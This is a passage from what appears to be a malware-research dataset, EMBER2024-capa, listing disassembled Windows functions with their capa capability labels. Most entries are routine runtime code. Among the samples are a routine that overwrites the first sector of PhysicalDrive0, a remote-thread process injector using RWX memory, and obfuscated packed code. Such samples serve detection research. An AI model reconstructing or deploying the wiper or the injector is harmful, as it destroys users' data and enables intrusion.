joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140204bd0
Capabilities:
Delete directory
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
mov dword [rsp + 0x20], 0
call fcn.140204ea0
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x50]
mov rdx, rbx
mov qword [rsp + 0x28], rax
call fcn.140204a20
cmp dword [rsp + 0x20], 0
je 0x140204c2a
mov rax, qword [rsp + 0x20]
mov qword [rdi], rax
mov rax, qword [rsp + 0x28]
mov qword [rdi + 8], rax
mov rax, rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov eax, dword [rsp + 0x50]
cmp eax, 1
je 0x140204c86
cmp eax, 3
jne 0x140204c71
cmp qword [rbx + 0x18], 8
jb 0x140204c42
mov rbx, qword [rbx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140204c86
call fcn.140204ea0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rdi + 8], rbx
mov dword [rdi], eax
mov rax, rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp qword [rbx + 0x18], 8
jb 0x140204c7b
mov rbx, qword [rbx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140204c4b
mov rax, qword [0x1402fd628]
mov rbx, qword [rsp + 0x40]
mov qword [rdi], rax
mov rax, qword [0x1402fd630]
mov qword [rdi + 8], rax
mov rax, rdi
add rsp, 0x30
pop rdi
ret

Function at 0x140204cd0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rdi, rdx
mov rbx, rcx
mov dword [rsp + 0x30], 0
call fcn.140204ea0
mov dword [rsp + 0x20], 0
mov rsi, rax
call fcn.140204ea0
cmp qword [rdi + 0x18], 8
mov qword [rsp + 0x28], rax
jb 0x140204d13
mov rcx, qword [rdi]
jmp 0x140204d16
mov rcx, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x140204d28
mov byte [rbx + 0x10], 1
jmp 0x140204d8a
call fcn.140204ea0
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
cmp eax, 0xb7
jne 0x140204d86
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.140204a20
cmp dword [rsp + 0x58], 3
jne 0x140204d86
mov rax, qword [0x1402fd628]
mov byte [rbx + 0x10], 0
mov qword [rbx], rax
mov rax, qword [0x1402fd630]
mov qword [rbx + 8], rax
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov byte [rbx + 0x10], 0
mov rax, qword [rsp + 0x30]
mov qword [rbx], rax
mov qword [rbx + 8], rsi
mov rsi, qword [rsp + 0x60]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0xa7d14f
Capabilities:
Encode data using base64

Disassembly:
inc r9w
lea ecx, [r9 - 0x74875cbb]
mov qword [rsp + r9 - 0x74875e33], 0xffffffffedb4e401
lea rsi, [r9 + r9 - 0x22e8dd59]
lea r9, [r9 + rdi - 0x74875eb3]
jne 0xa855a1
ror sil, 0xa5
and r9, 0xfffffffffffffff0
or sil, sil
sub dword [rsp], esi
sbb r9, rcx
call int.00b43a5e
pop rdi
and al, 0xad
mov ebx, 0x5197e619
nop
xchg esi, eax
insb byte [rdi], dx
adc eax, dword [0x066c3851]
push rdx
invalid

Function at 0xa81264
Capabilities:
Encode data using base64

Disassembly:
mov dword [rsp + 0x10], edx
or cl, al
shr cx, cl
lea ecx, [rdi + rax]
jmp 0xa9474a
mov qword [rcx], rbx
clc
mov eax, dword [rax + 4]
btr cx, 0xc
jmp 0xa81264
mov eax, 0x300
mov dword [rsp + 8], edi
shl eax, cl
test r8b, dl
jmp 0xaa0d96
mov dword [rsp + 0x70], r12d
mov dword [rsp + 0x80], r12d
cmp ch, 0xb1
add eax, 0x736
jmp 0xb1527b
mov dword [rsp + 4], r12d
jmp 0xb363e5
dec edx
dec edi
btr r10w, 0xaa
bsf bp, r8w
bt bp, cx
mov ebp, ebx
setno r10b
shrd r10w, r8w, 0x1c
mov r10d, r12d
jmp 0xb1cac2
mov dword [rsp + 0xc], edi
mov edi, dword [rax]
cmp r14b, bl
mov qword [r9], rbx
jmp 0xa907c6
mov qword [rsp], 0xffffffffa720d63d
inc byte [rsp + 6]
adc rdi, 0xc
push 0x45071bbb
mov word [rsp], 0x9933
call fcn.00a91685
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
bsr r10d, r10d
sal r10w, 0xae
add rax, 0xffffffffe403e913
mov qword [rsp + 0x10], rdx
dec r8w
movsx r10d, r12w
push rbx
test r12w, 0xb3af
bsr ax, r9w
push rbp
push rdi
push r12
sal ebp, 0x9d
mov dil, dl
push r13
rol eax, cl
add ax, 0x44a5
push r14
bts eax, edi
movzx r12d, bp
push r15
adc eax, r15d
sub rsp, 0x30
mov r15, qword [rcx + 0x10]
sub di, r13w
mov rax, rcx
neg r12w
test dx, 0x80ae
mov ecx, dword [rcx + 8]
movzx di, bl
bts rbp, rdx
xor ebx, ebx
bts r8, rsi
shld bp, r15w, 0x30
clc
mov r8, rdx
setb bpl
ror bpl, 0x8c
bt r14w, 0x38
mov r12d, 1
rcl rbp, cl
adc r10, r12
mov edx, 1
mov edi, 1
sub r11b, r11b
shld rbp, r11, 0x14
shl edx, cl
mov rcx, 0x761cd13d
btc r10w, r12w
xadd ch, ch
mov ecx, dword [rax + 4]
adc r10, rbp
adc bpl, 0x95
mov r14, rbx
shl edi, cl
mov r10b, r9b
movzx r10w, dl
mov rcx, qword [rsp + 0xa0]
movsx r10w, spl
jmp 0xb16afc
Function at 0xb48d35
Capabilities:
Encode data using xor

Disassembly:
xor r10d, 0x182a5f0e
xor edx, 0x182a5f0e
and r8w, r8w
lea r10d, [r10 + rbx*4 + 0x589f610b]
bswap r10d
adc r10, rbp
mov qword [rsp + r8 - 0x29422657], rdx
mov edx, 0xfa829613
sar r8w, 0xee
jns 0xb41862
cmp byte [rbx - 6], 0x3c
std
mov esi, dword [rdi]
fisttp qword [rdx - 0x71c8e0e8]
pop rax
mov ecx, 0x8ac8de7f
jl 0xb264da
fisttp dword [0x674f405c]
cdq
or dh, cl
mov edi, 0x37245ba9
invalid
movabs rbp, 0
ror ebx, 0x6b
not r10
sub bl, r10b
mov qword [rsp + r8*2 - 0x52844dae], rbp
lea r11, [r10 - 0x6a447cf4]
mov r10d, dword [rsp + rbx - 0x511ddfb9]
rol r10d, 1
bswap r10d
or bl, r11b
lea r10d, [r10 + r8 - 0x7adf6782]
lea rbx, [r8 + r11 - 0xe6d5edb]
jg 0xb264d9
pop rsi
invalid
lea r11, [r11 + rdi + 0x6a447b54]
call fcn.00b1af68
push 0xffffffff966472e3
mov ecx, 0x7d8e087d
fmul dword [rdi + 0x721f036]
jl 0xb418f7
nop
xor cl, ch
pushfq
push rbx
invalid
in al, 2
and al, 0x80
int3
mov qword [rsp + r11 - 0x196226d7], rbp
lea rdi, [rsp + r8 + 0x4407fea2]
imul bx, r8w
lea rbp, [rbx + r11*2 - 0x44f4266d]
push r10
imul r8d, ebp
cmovb r8w, r11w
mov qword [rsp + r11*4 - 0x65889aec], rsi
btr r8d, r8d
movzx r10d, r11b
push r12
jae 0xb3ca4a
lahf
adc al, 0xd
sti
shl byte [rdi + rbx*8 + 0x6e817395], cl
imul r11d, r15d, 0xf7f1b89f
insd dword [rdi], dx
xchg edx, eax
movabs dword [0x1130f6d708727465], eax
invalid
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004046d0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004046e0]
mov dword [rax], 1
mov rax, qword [0x004046f0]
mov dword [rax], 1
mov rax, qword [0x004046c0]
mov dword [rax], 1
mov rax, qword [0x00404580]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004046b0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404670]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404530]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0x10000000
lea rcx, str..PhysicalDrive0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp - 8], rax
lea rdx, [rbp - 0xc]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x200
lea rdx, section..rdata
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret
Function at 0x4026b0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4026c0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4026d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402711
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402708
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402713
add rax, 0x28
cmp rax, r9
jne 0x4026f4
xor eax, eax
ret

Function at 0x4027b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404580]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40281d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40281d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40281d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402814
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40281f
add rax, 0x28
cmp rax, r9
jne 0x402800
xor eax, eax
add rsp, 0x28
ret

Function at 0x402920
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404580]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402940
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402938
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40299d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402994
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4029a4
add rax, 0x28
cmp rax, r9
jne 0x402980
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4029c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404580]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402a2e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a2e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402a2e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402a2e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402a25
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402a35
add rcx, 0x28
cmp rcx, rax
jne 0x402a10
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402a48
jmp 0x402a2e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402a56
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402a2e
test r9d, r9d
jg 0x402a40
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402ca0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
call sym.__main
mov rax, qword [0x004045f0]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x004045e0]
mov r8, qword [rax]
mov rax, qword [0x004045d0]
mov rcx, qword [rax]
add rsp, 0x28
jmp dbg.WinMain

Function at 0x402ce0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e10
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011271
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140015ae0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x40]
lea rcx, [0x1400210a2]
call fcn.140011370
cmp dword [rbp + 0xe0], 2
jge 0x140015b29
mov rdx, qword [0x14001c0f8]
lea rcx, str._s_usage:_program.exe__PID_
call fcn.14001119a
mov eax, 1
jmp 0x140015d38
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xe8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [0x14001c7a0], eax
mov r8d, dword [0x14001c7a0]
mov rdx, qword [0x14001c0f0]
lea rcx, str._s_trying_to_open_a_handle_to_process___ld__n
call fcn.14001119a
mov r8d, dword [0x14001c7a0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14001c7b0], rax
mov r8, qword [0x14001c7b0]
mov rdx, qword [0x14001c0e8]
lea rcx, str._s_got_handle_to_process__n___0x_p_n
call fcn.14001119a
cmp qword [0x14001c7b0], 0
jne 0x140015bcf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [0x14001c7a0]
mov rdx, qword [0x14001c0f8]
lea rcx, str._s_couldnt_get_a_handle_to_the_process___ld___error__ld
call fcn.14001119a
mov eax, 1
jmp 0x140015d38
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xa
xor edx, edx
mov rcx, qword [0x14001c7b0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x14001c7a8], rax
mov r8d, 0xa
mov rdx, qword [0x14001c0e8]
lea rcx, str._s_allocated__zu_bytes_with_rwx_permissions_n
call fcn.14001119a
mov qword [rsp + 0x20], 0
mov r9d, 0xa
lea r8, str.AAAAAAAAA
mov rdx, qword [0x14001c7a8]
mov rcx, qword [0x14001c7b0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0xa
mov rdx, qword [0x14001c0e8]
lea rcx, str._s_wrote__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions_n
call fcn.14001119a
lea rax, [0x14001c7a4]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [0x14001c7a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14001c7b0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [0x14001c7b8], rax
cmp qword [0x14001c7b8], 0
jne 0x140015cd5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001c0f8]
lea rcx, str._s_failed_to_get_handle_to_thread__error:__ld
call fcn.14001119a
mov rcx, qword [0x14001c7b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140015d38
mov r9, qword [0x14001c7b8]
mov r8d, dword [0x14001c7a4]
mov rdx, qword [0x14001c0e8]
lea rcx, str._s_got_handle_to_thread___ld__n___0x_p_n
call fcn.14001119a
mov rdx, qword [0x14001c0f0]
lea rcx, str._s_cleaning_up_n
call fcn.14001119a
mov rcx, qword [0x14001c7b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14001c7b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x14001c0e8]
lea rcx, str._s_cleanup_finished__see_you_next_time_:3_n
call fcn.14001119a
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x14001127b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014160
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014180
xor al, al
jmp 0x140014201
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014193
xor al, al
jmp 0x140014201
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400141bd
xor al, al
jmp 0x140014201
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400141d1
xor al, al
jmp 0x140014201
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400141e3
xor al, al
jmp 0x140014201
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400141ff
xor al, al
jmp 0x140014201
mov al, 1
add rsp, 0x38
ret
Function at 0x1400040c0
Capabilities:
Parse pe header

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
movzx eax, word [rdx]
cmp eax, 0x5a4d
jne 0x14000414c
movsxd rax, dword [rdx + 0x3c]
test rax, rax
je 0x140004151
cmp eax, 0x40
jb 0x140004226
cmp rax, r8
ja 0x14000423c
movzx r10d, word [rax + rdx + 0x18]
cmp r10d, 0x20b
je 0x140004156
mov r9b, 5
cmp r10d, 0x10b
jne 0x140004180
mov r9b, 2
cmp dword [rdx + rax], 0x4550
jne 0x140004180
lea rsi, [rdx + rax]
movzx r10d, word [rsi + 4]
mov r9b, 3
cmp r10d, 0x14c
jne 0x140004180
mov r9b, 4
test byte [rsi + 0x16], 2
je 0x140004180
lea r9, [rax + 0xf8]
cmp r9, r8
ja 0x140004253
lea r10, [rsi + 4]
xor edi, edi
jmp 0x1400041b2
xor r9d, r9d
jmp 0x140004180
mov r9b, 1
jmp 0x140004180
mov r9b, 2
cmp dword [rdx + rax], 0x4550
jne 0x140004180
lea rsi, [rdx + rax]
movzx r10d, word [rsi + 4]
mov r9b, 3
cmp r10d, 0x8664
jne 0x140004180
mov r9b, 4
test byte [rsi + 0x16], 2
jne 0x140004199
mov byte [rcx], r9b
mov qword [rcx + 0x18], 2
mov rax, rcx
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea r9, [rax + 0x108]
cmp r9, r8
ja 0x140004253
lea r10, [rsi + 4]
mov edi, 1
mov r11, r8
sub r11, r9
movzx r14d, word [r10 + 2]
lea r10, [r14*8]
lea r10, [r10 + r10*4]
mov rbx, r11
sub rbx, r10
jb 0x14000426a
add rax, 0xffffffffffffffc0
lea r11, [rdx + 0x40]
add r9, rdx
add r10, r9
mov ebp, r14d
shr ebp, 8
mov qword [rcx], rdx
mov qword [rcx + 8], r11
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdi
mov qword [rcx + 0x20], rsi
mov qword [rcx + 0x28], r9
mov byte [rcx + 0x30], r14b
mov dword [rcx + 0x31], ebp
mov byte [rcx + 0x37], 0
mov word [rcx + 0x35], 0
mov qword [rcx + 0x38], r10
mov qword [rcx + 0x40], rbx
mov qword [rcx + 0x48], rdx
mov qword [rcx + 0x50], r8
jmp 0x14000418b
lea r8, [0x140630b78]
mov ecx, 0x40
mov rdx, rax
call fcn.140033590
ud2
lea r9, [0x140630b78]
mov rcx, rax
mov rdx, r8
mov r8, r9
call fcn.140033510
ud2
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fmemexec_0.2.0_srcpeparserpe.rs
mov rcx, r9
mov rdx, r8
mov r8, rax
call fcn.140033490
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fmemexec_0.2.0_srcpeparser_section.rs
mov rcx, r10
mov rdx, r11
call fcn.140033490
ud2
Function at 0x14000efe0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
cmp r8, 0x201
jae 0x14000f070
jmp 0x14000f05f
jae 0x14000f130
cmp r8, 0x201
jae 0x14000f070
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x14000f0c8
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x14000f09f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.1400325d0
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x3d8], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x14000f0f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000f198
mov r8d, r14d
cmp r15, r8
jne 0x14000f050
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000f1bb
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14000f05f
jmp 0x14000f070
cmp rsi, r8
jb 0x14000f1d5
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140011980
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rdi, rdi
je 0x14000f181
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rdi
call fcn.1400037d0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rdi, rdi
jne 0x14000f169
jmp 0x14000f181
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.5Bc_
mov edx, 0x28
call fcn.1400330c0
jmp 0x14000f1ea
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.140033510
ud2
Function at 0x14000f240
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.140022d40
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x408], rax
test rax, rax
je 0x14000f3c6
mov qword [rbp + 0x400], rsi
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x3e8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x410], rax
xor edi, edi
xor ebx, ebx
xor r13d, r13d
cmp r8, 0x201
jae 0x14000f300
jmp 0x14000f2ef
jae 0x14000f3d8
cmp r8, 0x201
jae 0x14000f300
mov r15d, 0x200
lea r14, [rbp - 0x60]
mov r12, r8
jmp 0x14000f358
sub r8, r13
sub rbx, r13
cmp rbx, r8
jae 0x14000f32f
lea rcx, [rbp + 0x3e8]
mov rdx, r13
call fcn.1400325d0
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x410], rax
mov rdi, qword [rbp + 0x3f0]
mov eax, 0xffffffff
cmp rdi, rax
mov r13d, 0xffffffff
cmovb r13, rdi
mov qword [rbp + 0x3f8], r13
mov rbx, rdi
mov r15, r13
mov r14, qword [rbp + 0x410]
mov r12, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x408]
mov rdx, r14
mov r8d, r12d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, eax
test eax, eax
jne 0x14000f387
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000f4ab
mov r8d, esi
cmp r12, r8
jne 0x14000f2e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000f4d5
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x14000f2ef
jmp 0x14000f300
lea rcx, [rbp - 0x58]
call fcn.140009350
mov byte [rsi + 0x18], 2
jmp 0x14000f46a
cmp r15, r8
jb 0x14000f4ef
lea rcx, [rbp + 0x3a0]
mov rdx, r14
call fcn.140011980
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
test rdi, rdi
je 0x14000f429
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x410]
mov rdx, rdi
call fcn.1400037d0
cmp byte [rbp + 0x3d8], 2
jne 0x14000f481
mov rsi, qword [rbp + 0x400]
mov byte [rsi + 0x18], 2
lea rcx, [rbp + 0x3c0]
call fcn.140009350
mov rdx, qword [rbp + 0x418]
test rdx, rdx
je 0x14000f46a
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0x408]
call fcn.1400037d0
mov rax, rsi
add rsp, 0x4a8
pop rbx
pop rdi
